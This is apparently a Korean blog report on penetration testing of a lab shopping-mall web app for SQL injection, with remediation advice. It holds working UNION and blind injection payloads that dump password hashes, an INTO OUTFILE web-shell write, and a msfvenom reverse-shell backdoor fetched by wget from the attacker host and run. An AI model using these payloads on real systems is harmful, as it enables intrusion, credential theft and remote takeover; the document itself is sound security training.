보안프로젝트
이름: 윤창규
문서 정보 / 수정 내역
| File Name | 굿모닝 쇼핑몰 대상 SQL Injection 취약점 진단 및 대응방안 수립 결과 보고서 |
| 원안작성자 | 윤창규 |
| 수정작업자 | 윤창규 |
| 수정 날짜 | 대표 수정자 | Revision | 추가/수정 항목 | 내 용 |
| 2021-03-05 | 윤창규 | 0.1 | 원안작성 | 보고서초안 |
| 2021-03-06 | 윤창규 | 0.2 | 수동진단 | 수동진단 SQL Injection |
| 2021-03-07 | 윤창규 | 0.3 | 자동진단 | SQLMap 사용법 |
표 1-1 문서 정보/수정내역
목 차
1. 개요
1.1 프로젝트 주제
1.2 프로젝트 추진 배경 및 목표
1.3 프로젝트 요약
2 SQL Injection 개요
2.1 OWASP Top 10이란
2.2 SQL Injection 취약점이란?
2.3 SQL Injection 종류
2.3.1 에러 기반 SQL Injection
2.3.2 블라인드 SQL Injection
2.3.3 시간 기반 SQL Injection
3 1차 점검 시나리오
3.1 점검 시나리오
3.2 환경 구성
3.3 취약점 진단 및 점검 도구
3.4 점검 대상
3.5 디렉토리 구조 파악
3.6 스캔 결과
4 SQL Injection 수동진단
4.1 에러 기반 SQL Injection
4.2 블라인드 SQL Injection
5 SQLMap 자동진단
5.1 SQLMap 개요
6 2차 점검 시나리오
7 대응방안
7.1 시큐어 코딩
7.2 웹 방화벽
7.3 데이터베이스 보안
7.3.1 운영 관리를 통한 보안
7.3.2 데이터베이스 암호화
8 참고 문헌
8.1 단행본
8.2 참조 홈페이지
1. 개요
1.1 프로젝트 주제
| 1. 굿모닝 쇼핑몰 SQL Injection 취약점 진단 및 대응방안 |
표 1-1 프로젝트 주제
1.2 프로젝트 추진 배경 및 목표
| 1. SQL Injection 공격을 통해 어떤 영향들을 줄 수 있는지 파악 2. 자동도구분석 SQLMap의 사용법 파악 |
표 1-2 프로젝트 추진 및 목표
1.3 프로젝트 요약
| 1. SQL Injection을 통해 가능한 공격 확인 2. 자동진단도구를 통한 SQL Injection 공격 3. 시나리오를 이용한 모의침투 |
표 1-3 프로젝트 요약
2. SQL Injection 개요
2.1 OWASP Top 10이란?
OWASP(The Open Web Application Security Project)는 오픈소스 웹 애플리케이션 보안 프로젝트이다. 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 3~4년 주기로 10대 웹 애플리케이션의 취약점 (OWASP TOP 10)을 발표했다. OWASP TOP 10은 웹 애플리케이션 취약점 중에서 빈도가 많이 발생하고, 보안상 영향을 크게 줄 수 있는 것들 10가지를 선정하여 2004년, 2007년, 2010년, 2013년, 2017년을 기준으로 발표되었고, 문서가 공개되었다. OWASP Top 10 프로젝트의 원래 목표는 단순히 개발자와 관리자의 인식을 높이는 것이었지만, 사실상 애플리케이션 보안의 업계 표준이 되었다.
2.2 SQL Injection 취약점이란?
SQL 인젝션은 코드 인젝션의 한 기법으로 클라이언트의 입력 값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식을 말한다. 주로 사용자가 입력한 데이터를 제대로 필터링하지 못했을 경우에 발생한다. 공격의 쉬운 난이도에 비해 파괴력이 어마어마하기 때문에 시큐어 코딩을 하는 개발자라면 가장 먼저 배우는 내용이다. 이러한 Injection 계열의 취약점들은 테스트를 통해 발견하기는 힘들지만 스캐닝 툴이나 코드 검증절차를 거치면 보통 쉽게 발견되기 때문에 탐지하기는 쉬운 편이다. OWASP에서도 수년 동안 인젝션 기법이 보안 위협 1순위로 분류되는 만큼 보안에 각별한 주의가 필요하다.
2.3 SQL Injection 종류
2.3.1 에러 기반 SQL Injection
에러 기반 SQL Injection 공격은 대표적인 SQL Injection 공격방식으로 SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다. 공격자는 데이터베이스에서 웹사이트에 반환하는 에러를 통해 쿼리문의 구성 그리고 데이터베이스의 테이블 명, 칼럼 명을 추측할 수 있다.
에러 기반 SQL Injection 예시
| “select * from users where name = ‘” + userID + “’”; |
표 2-1
임의의 웹 페이지의 로그인 아이디 입력 창이 표 2‑1과 같이 구성되어 있다고 가정하자. 입력 창에 hello’ or 1=1 – 을 입력하면 아래와 같이 입력된다.
| “select * from users where name = ‘” + “hello ‘ or 1=1 -- ” + “’”; |
표 2-2
| select * from users where name = ‘hello‘ or 1=1 -- ’; |
표 2-3
표 2‑2의 문자열은 합해져서 쌍따옴표와 더하기 특수문자가 제거되어 DBMS에 전송되어 표 2‑3처럼 데이터베이스 언어로 변경된다. userID가 hello가 아니어도 or 뒤의 1=1이 참이므로 로그인이 가능하다.
2.3.2 블라인드 SQL Injection
블라인드 SQL Injection 공격은 웹 페이지가 에러 메세지를 출력하지 않을 때 사용하는 공격방식으로 참 또는 거짓으로 이루어진 웹 서버의 응답을 통해 정보를 얻어내는 공격방식이다. 블라인드 SQL Injection은 웹 페이지에 에러를 출력하는 에러 기반 SQL Injection 공격과 달리 웹 페이지에 에러가 출력되지 않으므로 질문에 대한 데이터베이스의 참/거짓 응답만으로 정보를 수집해야 하므로 에러 기반 SQL Injecion 공격보다 난이도가 높은 공격방식이다.
블라인드 SQL Injection 예시
임의의 웹 페이지 “https://myshop.com?idx=4” 같은 웹 페이지가 있다고 가정하자
| select * from menus where idx=4 |
표 2-4
해당 웹 페이지의 데이터베이스에서는 표 2‑4와 같이 명령어가 작성된다. 그리고 해당 웹 페이지는 에러 메시지를 출력하지 않는다고 가정하자.
| select * from menus where idx=4 and 1=1 |
표 2-5
에러 기반 SQL Injection 공격처럼 에러 메시지가 출력되지 않으므로 표 2‑5와 같이 뒤에 and 1=1을 붙여서 페이지에 접속했을 때 “https://myshop.com?idx=4”와 같은 페이지에 접속된다면 and 1=1 구문이 작동하였음을 알 수 있고 해당 웹 페이지는 블라인드 SQL Injection에 취약하다고 볼 수 있다.
2.3.3 시간 기반 SQL Injection
시간 기반 SQL Injection 공격은 에러 기반 SQL Injection, 블라인드 SQL Injection 방식이 모두 통하지 않을 때 사용하는 마지막 방법이다. 시간 기반 SQL Injection 공격은 질문에 대한 웹 서버의 응답의 참/거짓을 구분할 수 없을 때 사용되는 공격방식으로 쿼리문에 sleep 함수를 이용해 참/거짓에 따른 지연 시간을 다르게 설정하여 응답 시간을 기준으로 참/거짓을 판별하는 공격방식이다.
시간 기반 SQL Injection 예시
| select * from menus where idx=4; sleep(10) -- |
표 2-6
블라인드 SQL Injection 공격 표 2‑4의 뒤에 표 2‑6과 같이 “; sleep(1) --“을 붙여준다. 만약 웹 페이지가 잠시 멈춘다면 해당 웹 페이지는 블라인드 SQL Injection 공격에 취약하다고 볼 수 있다.
3. 1차 점검 시나리오
3.1 점검 시나리오
| 점검 시나리오 |
| Step 1) SQL 질의어가 동작하는가? |
| Step 2) 데이터베이스는 어떤 사용자의 권한으로 실행되는가? |
| Step 3) 데이터베이스에서 어떤 데이터를 탈취할 수 있는가?. |
표 3-1 점검 시나리오
3.2 환경 구성
| 운영체제 | 주소 | |
| 공격자 PC | Kali Linux 2020.4 | 192.168.169.135 |
| 공격대상 서버 | Linux 2.6.24-16-generic | 192.168.169.143 |
표 3-2 환경구성
3.3 취약점 진단 및 점검 도구
| 도구 | 설명 |
| Dirsearch v0.4.1 | 디렉토리 구성 파악 |
| SQLMap 1.5 | SQL Injection 자동진단 |
표 3-3 취약점 진단 및 점검 도구
3.4 점검 대상
| 희생자 도메인 |
| 192.168.169.143/gmshop |
표 3-4 점검 대상
3.5 디렉토리 구조 파악
취약점 진단을 시작하기에 앞서 dirsearch 도구를 이용하여 웹 서비스의 디렉터리 구조를 파악하겠다. dirsearch는 github에서 제공하는 오픈 소스 도구이며 콘솔 환경에서 작동한다. 그림 3‑1과 같이 http://192.168.169.143/gmshop을 대상으로 스캔을 시도하면 dirsearch는 사전 파일이나 무차별 대입 공격을 통해 디렉터리 구조 파악 및 취약한 페이지를 찾는다. 스캔 결과는 이후에 취약점 분석 과정에 참고하겠다.
3.6 스캔 결과
| Time: Thu Feb 25 09:18:36 2021 403 391B http://192.168.169.143:80/gmshop/.ht_wsr.txt 403 394B http://192.168.169.143:80/gmshop/.htaccess.bak1 403 396B http://192.168.169.143:80/gmshop/.htaccess.sample 403 394B http://192.168.169.143:80/gmshop/.htaccess.orig 403 394B http://192.168.169.143:80/gmshop/.htaccess.save 403 392B http://192.168.169.143:80/gmshop/.htaccessOLD 403 393B http://192.168.169.143:80/gmshop/.htaccessOLD2 403 384B http://192.168.169.143:80/gmshop/.htm 403 394B http://192.168.169.143:80/gmshop/.htaccess_orig 403 390B http://192.168.169.143:80/gmshop/.htpasswds 403 392B http://192.168.169.143:80/gmshop/.htaccessBAK 403 391B http://192.168.169.143:80/gmshop/.httr-oauth 403 394B http://192.168.169.143:80/gmshop/.htpasswd_test 403 395B http://192.168.169.143:80/gmshop/.htaccess_extra 403 392B http://192.168.169.143:80/gmshop/.htaccess_sc 403 385B http://192.168.169.143:80/gmshop/.html 403 395B http://192.168.169.143:80/gmshop/admin/.htaccess 200 6KB http://192.168.169.143:80/gmshop/admin/ 200 6KB http://192.168.169.143:80/gmshop/admin/?/login 200 6KB http://192.168.169.143:80/gmshop/admin/index 200 6KB http://192.168.169.143:80/gmshop/admin/index.php 200 32KB http://192.168.169.143:80/gmshop/cart 200 32KB http://192.168.169.143:80/gmshop/cart.php 200 34KB http://192.168.169.143:80/gmshop/company 200 32KB http://192.168.169.143:80/gmshop/community 200 144B http://192.168.169.143:80/gmshop/editor/ 200 144B http://192.168.169.143:80/gmshop/editor/tiny_mce 200 144B http://192.168.169.143:80/gmshop/editor/FCKeditor 200 144B http://192.168.169.143:80/gmshop/editor.php 200 144B http://192.168.169.143:80/gmshop/editor/tinymce/ 200 144B http://192.168.169.143:80/gmshop/editor/tiny_mce/ 200 144B http://192.168.169.143:80/gmshop/editor/stats/ 200 144B http://192.168.169.143:80/gmshop/editor 200 144B http://192.168.169.143:80/gmshop/editor/tinymce 200 2KB http://192.168.169.143:80/gmshop/email/ 200 4KB http://192.168.169.143:80/gmshop/error 200 4KB http://192.168.169.143:80/gmshop/error.php 200 4KB http://192.168.169.143:80/gmshop/error/ 200 3KB http://192.168.169.143:80/gmshop/head.php 200 5KB http://192.168.169.143:80/gmshop/images/ 200 47KB http://192.168.169.143:80/gmshop/index 200 47KB http://192.168.169.143:80/gmshop/index.php 200 47KB http://192.168.169.143:80/gmshop/index.php/login/ 200 3KB http://192.168.169.143:80/gmshop/lib/ 200 27KB http://192.168.169.143:80/gmshop/login 200 27KB http://192.168.169.143:80/gmshop/login.php 200 27KB http://192.168.169.143:80/gmshop/login/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel/ 200 27KB http://192.168.169.143:80/gmshop/login/admin/admin.asp 200 27KB http://192.168.169.143:80/gmshop/login/admin/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.html 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.jsp 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.js 200 27KB http://192.168.169.143:80/gmshop/login/index 200 27KB http://192.168.169.143:80/gmshop/login/super 200 27KB http://192.168.169.143:80/gmshop/login/login 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.aspx 200 27KB http://192.168.169.143:80/gmshop/login/oauth/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.php 200 27KB http://192.168.169.143:80/gmshop/login/administrator/ 200 51KB http://192.168.169.143:80/gmshop/phpinfo.php 200 51KB http://192.168.169.143:80/gmshop/phpinfo 200 1KB http://192.168.169.143:80/gmshop/script/ 200 1KB http://192.168.169.143:80/gmshop/style 200 6KB http://192.168.169.143:80/gmshop/top 200 7KB http://192.168.169.143:80/gmshop/upload/ |
표 3-5 스캔 결과
4. SQL Injection 수동진단
4.1 에러 기반 SQL Injection
취약점 진단
Step 1) SQL 질의어가 동작하는가?
URL: http://192.168.169.143/gmshop/board_list.php?boardIndex=6
자유게시판 그림 4‑1에서 우측 하단에 있는 입력 창에 ‘를 입력한다.
그림 4‑2과 같이 입력한 질의어에 대한 에러가 출력되므로 에러 기반 SQL Injection 공격을 시도할 수 있다.
Step 2) 데이터베이스는 어떤 사용자의 권한으로 실행되는가?
데이터베이스가 어떤 사용자의 권한으로 실행되는지 알기 위해서 해당 입력 창의 칼럼 개수를 파악해야 한다. order by 구문을 사용해서 칼럼 개수를 알아내겠다.
그림 4‑4은 ‘ order by 25#를 입력했을 때의 결과이다. 그림 4‑3에서 ‘ order by 24#를 입력했을 때와 달리 에러가 출력된다. 즉, 해당 입력 창의 칼럼 개수는 24개이다.
칼럼 개수를 알아냈으니 데이터베이스 이름과 계정을 알아내겠다
| 공격코드 |
| ‘ union select ‘1’,’2’,database(),user(),’5’,’6’,’7’,’8’,’9’,’10’,’11’,’12’,’13’,’14’,’15’,’16’,’17’,’18’,’19’, ‘20’,’21’,’22’,’23’,’24’# |
공격 코드를 주입하면 그림 4‑5와 같이 데이터베이스 명은 gmshop 이고 데이터베이스 계정은 root 권한 임을 알 수 있다.
Step 3) 데이터베이스에서 어떤 데이터를 탈취할 수 있는가?.
첫 번째로 테이블 목록을 출력한다.
| 공격코드 |
| ‘ union select ‘1’,’2’,table_name,’4’,’5’,’6’,’7’,’8’,’9’,’10’,’11’,’12’,’13’,’14’,’15’,’16’,’17’,’18’,’19’,’20’,’21’, ‘22’,’23’,’24’ from information_schema.tables# |
공격 코드를 주입하면 그림 4‑6과 같이 테이블들이 출력되는데 그 중에서 사용자 개인정보가 담겨있을만한 member 테이블을 더 집중해서 살펴보겠다.
| 공격코드 |
| ‘ union select ‘1’,’2’,column_name,’4’,’5’,’6’,’7’,’8’,’9’,’10’,’11’,’12’,’13’,’14’,’15’,’16’,’17’,’18’,’19’,’20’, ‘21’,’22’,’23’,’24’ from information_schema.columns where table_name=’member’# |
공격 코드를 주입하면 그림 4‑7과 같이 member 테이블의 칼럼 정보가 출력된다.
마지막으로 사용자 아이디와 패스워드 값이 담긴 userid, pwd를 추출하겠다.
| 공격코드 |
| ‘ union select ‘1’,’2’,pwd,userid,’5’,’6’,’7’,’8’,’9’,’10’,’11’,’12’,’13’,’14’,’15’,’16’,’17’,’18’,’19’,’20’,’21’, ‘22’,’23’,’24’ from member# |
해당 공격 코드를 주입하면 해시값으로 된 패스워드와 사용자 아이디가 출력된다. 결과적으로 웹 페이지를 사용하는 관리자 그리고 모든 사용자의 아이디와 패스워드 해시값을 획득하였다.
4.2 블라인드 SQL Injection
취약점 진단
Step 1) SQL 질의어가 동작하는가?
URL: http://192.168.169.143/gmshop/goods_detail.php?goodsIdx=233
그림 4‑9는 상품의 정보를 열람할 수 있는 쇼핑 페이지이다. 해당 페이지는 GET 방식으로 goodsIdx라는 파라미터를 통해 상품 페이지를 구별하고 있다. 파라미터는 URL에서 쉽게 수정할 수 있으므로 이곳에서 SQL Injection 공격을 시도한다.
| 공격코드 |
| 참: http://192.168.169.143/gmshop/goods_detail.php?goodsIdx=233 and 1=1# 거짓: http://192.168.169.143/gmshop/goods_detail.php?goodsIdx=233 and 1=2# |
참 반응을 일으키는 공격 코드를 주입하면 그림 4‑10처럼 상품 정보가 그림 4‑9와 동일하게 출력된다. 만약 웹 서버에서 goodsIdx 파라미터 값에 대한 입력 값을 제대로 필터링 했다면 상품 정보가 출력되어선 안된다.
거짓 반응을 일으키는 공격 코드를 주입하면 그림 4‑11처럼 상품 정보가 출력되지 않는다. 따라서 참이면 상품 정보를 출력하고 거짓이면 상품 정보가 출력되지 않는다는 점을 이용해 데이터베이스에 관한 정보를 얻을 수 있다.
Step 2) 데이터베이스는 어떤 사용자의 권한으로 실행되는가?
이번 단계에서는 버프 스위터의 Intruder 기능을 사용해 무작위 대입 공격을 시도하겠다.
| 공격코드 |
| http://192.168.169.143/gmshop/goods_detail.php?goodsIdx=233 and substr(database(),1,1)=’a’ |
공격 코드를 URL에 입력한 뒤 버프 스위터로 패킷을 인터셉트한다.
그림 4‑12와 같이 Sniper 모드로 문자 a를 지정한다. 다음으로 그림 4‑13과 같이 브루트 포스로 공격을 시도한다.
그림 4‑14와 같이 길이가 다른 문자 g가 데이터베이스의 첫 번째 문자다. 총 6번의 무작위 대입 공격을 시도하면 gmshop이라는 데이터베이스 명을 얻을 수 있다. 데이터베이스 계정도 똑같은 방법으로 정보를 수집할 수 있다.
그림 4‑15와 같이 database를 user로 수정하고 공격을 시도하면 그림 4‑16 처럼 데이터베이스 계정의 첫 번째 문자가 r 임을 알 수 있다. 계정이 문자 r로 시작하므로 root가 데이터베이스 계정임을 쉽게 추측할 수 있다.
Step 3) 데이터베이스에서 어떤 데이터를 탈취할 수 있는가?
이번 단계는 수동으로 진단하기에는 양이 너무 많기 때문에 SQLMap 자동진단도구를 사용하겠다. SQLMap의 자세한 사용법은 바로 다음 챕터인 SQLMap 자동진단 챕터에서 확인할 수 있다.
리눅스 터미널에 그림 4‑17과 같이 SQLMap으로 userid와 pwd 추출을 시도한다.
그림 4‑18과 같이 웹 페이지 사용자의 아이디와 패스워드 해시 값을 추출하였다. 해시 값은 간단한 패스워드는 쉽게 해독이 가능하지만 그림 4‑18의 attacker 계정 비밀번호는 복잡하게 설정하였기 때문에 실패하였다. 하지만 attacker 계정 상위에 있는 사용자 1, test 2명의 패스워드 값은 각각 1, 1111로 해시 값 해독에 성공하였다.
5. SQLMap 자동진단
5.1 SQLMap 개요
SQLMap은 데이터베이스의 SQL Injection 취약점을 자동으로 탐지하고 침투하는 오픈 소스 침투 테스트 도구이다. 해당 도구는 강력한 탐지 엔진으로 DB 구조파악 및 취약점 진단을 자동화하여 수동진단에 비해 많은 시간을 절약할 수 있다.
점검대상
SQLMap으로 점검할 대상은 그림 5‑2와 같이 상품명을 검색하는 입력 창이다. 해당 URL은 아래와 같다.
http://192.168.169.143/gmshop/search_result.php?search=name&searchstring=hello
취약점 점검
Step 1) 데이터베이스 목록을 불러온다.
SQLMap의 –dbs 옵션을 사용하여 그림 5‑3과 같이 해당 웹 페이지의 데이터베이스 목록 정보 추출을 시도한다.
SQLMap이 그림 5‑4처럼 데이터베이스 목록 정보를 출력한다.
Step 2) 점검대상인 gmshop 데이터베이스의 테이블 목록을 불러온다
SQLMap의 –D 옵션으로 gmshop을 데이터베이스로 지정하고 테이블 목록 정보를 요청하는 –tables 옵션으로 그림 5‑5와 같이 명령어를 입력한다.
| GM_Counter GM_PG_dacom member position admin banner bbs_data bbs_list cart category category_banner color |
comment compare design design_goods good_board good_board_comment goods goods_comment interest ipblock mailing_list member_withdraw |
notice page patch patchDetail point_table poll postzip smsinfo sub_design today_view trade trade_goods |
trade_temp trans_add up_file userSrcEdit webmail_admin webmail_adr webmail_adr_grp webmail_mail webmail_mbox webmail_pop3 webmail_reject |
표 5-1 테이블 목록
SQLMap에서 표 5‑1 테이블 목록과 같이 총 47개의 테이블 목록을 출력한다.
Step 3) admin 테이블의 칼럼 목록을 불러온다.
SQLMap의 –T 옵션으로 admin 테이블을 지정하고 칼럼 목록 정보를 요청하는 –columns 옵션으로 그림 5‑6과 같이 명령어를 입력한다.
그림 5‑7 admin 테이블 칼럼 정보는 총 128개가 출력된다.
Step 4) admin 테이블의 adminId, adminPwd 칼럼에서 관리자의 아이디와 패스워드 데이터를 불러온다.
SQLMap의 –C 옵션으로 adminId와 adminPwd 칼럼을 지정하고 데이터를 가져오는 –dump 옵션으로 그림 5‑8과 같이 명령어를 입력한다.
그림 5‑9와 같이 관리자 계정의 아이디와 패스워드는 각각 admin, admin임을 알 수 있다.
Step 5) 관리자 페이지에서 관리자 계정으로 로그인을 시도한다.
그림 5‑10 관리자 페이지는 표 3‑5 스캔 결과에서 찾아낸 페이지이다. 해당 페이지에서 로그인을 시도한다. 해당 URL은 다음과 같다. http://192.168.169.143:80/gmshop/admin/
그림 5‑11과 같이 관리자 페이지 로그인에 성공하여 관리자 권한을 획득하였다.
6. 2차 점검 시나리오
| 2차 시나리오 |
| Step 1) SQL Injection 취약점을 통해 웹 서버에 웹쉘을 업로드한다. |
| Step 2) 공격자 웹 서버에 백도어를 업로드한다. |
| Step 3) 웹 쉘을 통해 웹 서버에서 공격자 서버의 백도어를 다운로드한다. |
| Step 4) 웹 서버 쉘 권한을 획득한다. |
표 6-1 2차 시나리오
취약점 진단
Step 1) SQL Injection 취약점을 통해 웹 서버에 웹쉘을 업로드한다.
공격자는 표 3‑5 스캔 결과에서 http://192.168.169.143:80/gmshop/upload/라는 디렉터리 정보를 수집하였다.
해당 디렉터리로 접근하니 그림 6‑1과 같이 디렉터리 인덱싱 취약점을 발견하였다. 그리고 모든 하위 디렉터리에 SQL Injection을 통해 웹쉘 업로드를 시도한다.
URL: http://192.168.169.143/gmshop/board_list.php?boardIndex=6
| 공격코드 |
| 0' UNION SELECT '1', '2', "<? system($_GET['cmd']) ?>", '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24' INTO OUTFILE '/var/www/gmshop/upload/bbs/webshell.php'# |
공격 위치는 챕터 4.1에러 기반 SQL Injection에서 찾은 자유게시판의 검색 창에 공격을 시도한다.
그림 6‑3과 같이 webshell.php 파일 업로드에 성공하였다.
Step 2) 공격자 웹 서버에 백도어를 업로드한다.
| 공격코드 |
| 1) msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.169.135 lport=7777 -f elf > /var/www/html/backdoor.elf 2) service apache2 start |
공격자의 터미널에 공격코드를 입력하여 msfvenom으로 백도어를 생성하여 공격자의 웹 서버에 올린다.
Step 3) 웹 쉘을 통해 웹 서버에서 공격자 서버의 백도어를 다운로드한다.
| 공격코드 |
| 192.168.169.143/gmshop/upload/bbs/webshell.php?cmd=wget 192.168.169.135/ backdoor.elf |
브라우저 주소 창에 공격코드로 접속하면 공격자의 웹 서버에서 백도어를 다운로드 한다. 그림 6‑4와 같이 실제로 다운로드 된 것을 확인하였다.
Step 4) 웹 서버 쉘 권한을 획득한다.
그림 6‑5처럼 세션을 유지할 핸들러 세션을 열어준다.
| 공격코드 |
| 1) 192.168.169.143/gmshop/upload/bbs/webshell.php?cmd=chmod 777 backdoor.elf 2) 192.168.169.143/gmshop/upload/bbs/webshell.php?cmd=./backdoor.elf |
브라우저 주소 창에 공격코드를 주입하여 backdoor.elf 파일에 모든 권한을 부여하고 실행한다.
그림 6‑6과 같이 웹 서버 쉘 권한을 획득하는데 성공하였다.
7 대응방안
7.1 시큐어 코딩
보안설정방법
step 1) 문자열 유효성 검증 로직 구현
SQL Query에 사용되는 문자열에 대해 유효성 검사를 실시하는 프로세스 구현
아래와 같은 특수문자를 사용자 입력 값으로 지정 금지
(아래 문자들은 해당 데이터베이스에 따라 달라질 수 있음)
| 문자 | 설명 |
| ‘ | 문자 데이터 구분 기호 |
| ; | 쿼리 구분 기호 |
| --, # | 해당라인 주석 구분 기호 |
| /* */ | /* 와 */ 사이 구문 주석 |
(예시 1) addslashes 함수를 이용한 특정 문자열 필터링 적용
| $query = sprint(“SELECT id,password,username FROM user_table WHERE id=‘%s’;”,addslashes( $id)); $result = @OCIParse($conn, $query); // id 변수를 문자형으로 받고, id 변수의 특수문자를 일반문자로 변환 // @로 php 에러 메시지를 막음 if(!@OCIExecute($result)) error(“SQL 구문 에러”); exit; @OCIFetchInto($result,&$rows); … 중략 … |
(예시 2) eregi_replace 함수를 이용한 특정 문자열 필터링 적용
| function SQL Injection($get_Str) { return eregi_replace(“ ( select| union| insert| update| delete| drop|\”|\’|#|\/\*|\*\/|\\\|\;)”,””, $get_Str); } |
(예시 3) php.ini 설정 중 magic_quotes_gpc 옵션을 이용하여 특정 문자열 필터링 적용
#GPC(Get, Post, Cookie)를 통해 넘어오는 문자열 중 ‘, “, \, NULL 값의 앞에 자동으로 백슬래쉬 문자를 붙여주는 기능을 함(PHP 6.0 이후 버전 사용 불능)
| magic_quotes_gpc = on |
step 2) Dynamic SQL 구문 사용 금지
Dynamic SQL 구문 사용을 지양하여 파라미터에 문자열 검사 필수 적용
(예시 1) Static SQL 구문 사용
| $sql = ‘SELECT ID, PASSWORD, USER_NAME FROM DB WHERE VALUES = ? ‘; $stmt = $mysqli->prepare($sql); $stmt->bind_param(‘s’, ‘1’); $stmt->execute(); $stmt->bind_result($ID, $PASSWORD, $USER_NAME); } $stmt->close(); $mysqli->close(); |
(예시 2) mybatis Data Map 사용 시 쿼리에 삽입되는 Name 파라미터를 #name# 형태로 받아 실행
| <?xml version=”1.0” encoding=”UTF-8”? ….. <!-- static SQL 사용--> <delete id=”delStudent” parameterClass=”Student”> DELETE STUDENTS WHERE NUM = #num# AND Name = ‘#name#’ </delete> |
step 3) 오류에 대한 예외처리
에러 메시지는 공격자에게 많은 정보를 제공하므로 오류 처리로 정보 노출을 최소화
시스템에서 제공하는 에러 메시지 및 DBMS에서 제공하는 에러 코드가 노출되지 않도록 예외처리
step 4) 필터링 등 입력 값 프로세스는 Client Side script가 아닌, Server 페이지로 구현
7.2 웹 방화벽
웹 방화벽(Web Application Firewall, WAF)은 일반적인 네트워크 방화벽과는 달리 웹 애플리케이션 보안에 특화되어 개발된 솔루션이다. 웹 방화벽의 기본 역할은 그 이름에서도 알 수 있듯 SQL Injection, XSS 등과 같은 웹 공격을 탐지하고 차단한다. 웹 방화벽은 형태에 따라 3지 형태로 구분되며 특징은 아래와 같다.
하드웨어 형태
현재 보편적인 형태인 하드웨어 형태 웹 방화벽은 웹 및 애플리케이션 서버와 가까운 LAN(Local Area Network) 내에 설치된다. 하드웨어 형태 WAF의 대표적인 장점은 빠른 속도와 성능이다. 물리적으로 서버와 가깝기 때문에 웹사이트를 오가는 데이터 패킷을 빠르게 추적하고 필터링할 수 있다. 그만큼 애플리케이션 영역을 보호하는 데 유리하지만 하드웨어를 구입하고 설치, 유지보수 등에 필요한 비용은 다소 높은 편이다.
소프트웨어 형태
소프트웨어 형태 웹 방화벽은 하드웨어 기기 없이 가상 머신(Virtual Machine, VM) 위에 설치된다. 모든 구성요소는 기본적으로 하드웨어 형태 웹 방화벽과 동일하지만, 사용자가 가상머신을 실행하기 위해 Hypervisor가 필요하다는 차이점이 있다. 소프트웨어 형태 웹 방화벽의 장점은 유연성이다. 사내 시스템에 활용할 수 있을 뿐만 아니라, 가상 머신을 클라우드 기반 웹 및 애플리케이션 서버에도 연결할 수 있다. 또한 하드웨어 형태 웹 방화벽보다 저렴한 비용으로 도입할 수 있다. 하지만 가상 머신 위에서 실행되기 때문에 모니터링 및 필터링 과정에서 하드웨어 형태 웹 방화벽보다 속도가 느릴 수 있다는 것이 단점이다.
클라우드 형태
클라우드 형태 웹 방화벽은 서비스 제공업체가 SaaS(Software-as-a-Service) 형태로 직접 제공, 관리하는 웹 방화벽 형태이다. 소프트웨어 형태 웹 방화벽은 구성요소가 클라우드에 위치하고 있어 사용자가 로컬이나 가상머신에 그 어떤 것도 설치하지 않아도 된다. 클라우드 형태 웹 방화벽의 가장 큰 장점은 간편함이다. 앞서 말했듯이 사용자는 물리적으로 소프트웨어를 설치할 필요가 없어 단순히 서비스에 가입하는 것만으로도 웹 방화벽 사용 준비가 끝난다. 서비스 제공자는 사용자가 웹 방화벽을 직접 관리할 필요가 없도록 모든 최적화 및 업데이트 요소를 제공하지만, 서비스 제공기업이 주체가 되어 관리하므로 기업 환경에 맞춰 세부적인 커스터마이징은 어려울 수 있다.
7.3 데이터베이스 보안
7.3.1 운영 관리를 통한 보안
SQL Injection을 통해 데이터베이스를 공격하는 경우 공격자는 이미 접근이 허락된 권한을 가지고 있는 사용자이다. 따라서 운영 관리를 통한 보안이 필요한데 데이터베이스에서 역할의 개념을 사용해야 한다. 데이터베이스는 “CREAT ROLE 역할이름;”을 통해 역할을 미리 만들 수 있다. 역할을 미리 만들었으면 사용자를 데이터베이스에 추가하는 과정에서 사용자의 카테고리에 따른 역할을 지정하여 역할에 따른 필요한 권한만을 부여할 수 있다.
7.3.2 데이터베이스 암호화
데이터베이스 시스템의 권한 관리를 통한 보안만으로 데이터를 보호하기에 충분하지 않을 때는 데이터를 암호화하여 저장해서 보호할 수도 있다. 비대칭 암호화 알고리즘으로 가장 지지를 받고 있으며 오늘날 산업 표준으로 사용되는 방법은 RSA이다.
8. 참고 문헌
8.1 단행본
| 도서명 | 출판사 | 저자 |
| (한국인터넷진흥원)_주요정보통신기반시설_기술적_취약점_분석_평가_상세_가이드_(2017) | 한국인터넷진흥원 | 한국인터넷진흥원 |
| 데이터베이스 개론 2판 | 한빛아카데미 | 김연희 |
표 8-1 단행본
8.2 참조 홈페이지
표 8-2 참조 홈페이지
'보안프로젝트' 카테고리의 다른 글
| [보안프로젝트] 도커 환경을 이용한 테스트 환경 서비스 구축 그리고 로그, 이미지 관리 방법 (0) | 2021.08.09 |
|---|---|
| [보안프로젝트] 시나리오 기반 모의해킹 프로젝트 (3) | 2021.07.13 |
| [보안프로젝트] Nmap NSE를 이용한 취약점 테스트 (0) | 2021.05.16 |
| [보안프로젝트] Metasploitable3 취약점 침투 및 대응 방안 (1) | 2021.05.15 |
| ARP 스푸핑 (0) | 2021.05.15 |
댓글